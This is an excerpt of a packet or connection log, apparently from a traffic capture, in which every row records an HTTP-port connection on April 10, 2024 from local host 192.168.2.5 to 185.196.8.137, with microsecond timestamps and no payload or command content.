Apr 10, 2024 10:24:11.390976906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.390976906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.390976906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391074896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391074896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391118050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391170025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391170025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391170025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391228914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391228914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391228914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391249895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391305923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391305923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391305923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391366005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391366005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391366005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391432047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391666889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391666889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391666889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391690016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391748905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391750097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391750097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391810894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391810894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391810894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391829967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391894102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391894102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391894102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391918898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391927958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391988993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391988993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.391988993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392046928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392046928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392046928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392105103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392105103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392105103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392163992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392163992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392163992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392209053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392209053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392235994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392246008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392304897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392304897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392304897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392358065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392358065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392358065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392420053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392420053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392420053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392474890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392474890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392474890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392539024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392539024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392539024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392594099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392594099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392594099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392649889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392649889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392649889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392708063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392708063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392708063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392748117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392748117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392812967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392812967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392812967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392868996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392868996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392868996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392932892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392932892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392932892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392951965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392987967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.392987967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393049002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393049002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393049002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393109083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393109083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393109083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393168926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393168926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393168926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393224001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393224001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393224001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393285990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393285990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393285990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393345118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393345118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393345118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393409014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393409014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393409014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393460035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393460035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393460035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393595934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393595934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393642902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393642902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393707991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393707991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393707991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393758059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393758059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393758059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393819094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393819094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393819094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393845081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393855095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393956900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393956900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393987894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.393987894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394010067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394027948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394088984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394088984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394088984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394164085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394164085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394242048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394242048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394242048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394310951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394310951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394310951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394373894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394419909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394419909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394481897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394481897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394481897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394510984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394539118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394539118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394575119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394588947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394629955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394629955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394681931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394681931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394681931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394707918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394750118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394750118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394772053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394795895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.394795895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395051956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395131111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395131111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395176888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395176888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395176888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395225048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395225048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395248890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395270109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395287991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395343065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395343065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395343065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395379066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395379066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395405054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395432949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395432949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395451069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395467997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395493031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395539045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395539045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395596981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395596981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395596981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395657063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395657063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395657063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395719051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395719051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395719051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395776987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395776987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395776987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395817995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395817995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395880938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395880938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395881891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395915985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395915985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395979881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395979881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.395979881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396034002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396131992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396167994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396209002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396209002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396234989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396234989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396261930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396280050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396373034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396373034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396442890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396442890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396442890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396507025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396507025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396507025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396598101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396646976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396646976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396646976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396675110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396709919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396744967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396770000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396805048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396805048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396842957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396884918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396884918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396884918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396941900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396941900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396981955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.396981955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397052050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397052050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397052050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397090912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397270918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397298098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397316933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397372961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397372961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397394896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397394896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397417068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397474051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397474051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397474051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397500992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397543907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397543907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397589922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397589922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397589922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397660017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397660017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397660017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397715092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397715092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397715092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397772074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397772074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397772074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397813082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397814035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397849083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397883892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397883892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397932053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397932053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397932053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397989035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397989035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.397989035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398051023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398051023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398051023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398116112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398116112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398216963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398216963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398279905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398279905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398279905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398300886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398359060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398359060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398359060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398699045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398736954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398737907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398737907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398737907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398737907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398737907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398737907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398756027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398962975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398962975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398962975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398963928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398963928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398963928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398963928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.398996115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399034023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399034023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399040937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399077892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399106026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.399106026 CEST	49718	80	192.168.2.5	185.196.8.137
